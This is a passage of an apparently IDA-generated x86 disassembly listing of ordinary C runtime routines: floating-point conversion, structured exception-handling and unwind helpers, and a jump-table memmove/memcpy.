		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
